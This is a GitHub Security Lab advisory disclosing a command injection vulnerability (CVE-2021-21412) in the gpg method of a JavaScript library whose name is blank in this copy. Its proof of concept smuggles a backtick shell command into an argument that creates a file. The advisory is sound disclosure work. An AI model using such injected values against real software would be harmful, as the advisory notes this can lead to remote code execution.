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April 13, 2021

GHSL-2021-062: Command injection in - CVE-2021-21412

Alvaro Munoz

Coordinated Disclosure Timeline


The gpg method has a command injection vulnerability. Clients of the library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.


Tested Version

Latest commit at the time of reporting (March 25, 2021).


Command injection in gpg

The following proof-of-concept illustrates the vulnerability. First install

npm install

Now create a file with the following contents:

const egf = require("");
egf.BUILTINS.gpg("foo", "bar`touch exploit`", {opts: {decrypt: true}});

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.


This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.



This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).


You can contact the GHSL team at, please include a reference to GHSL-2021-062 in any communication regarding this issue.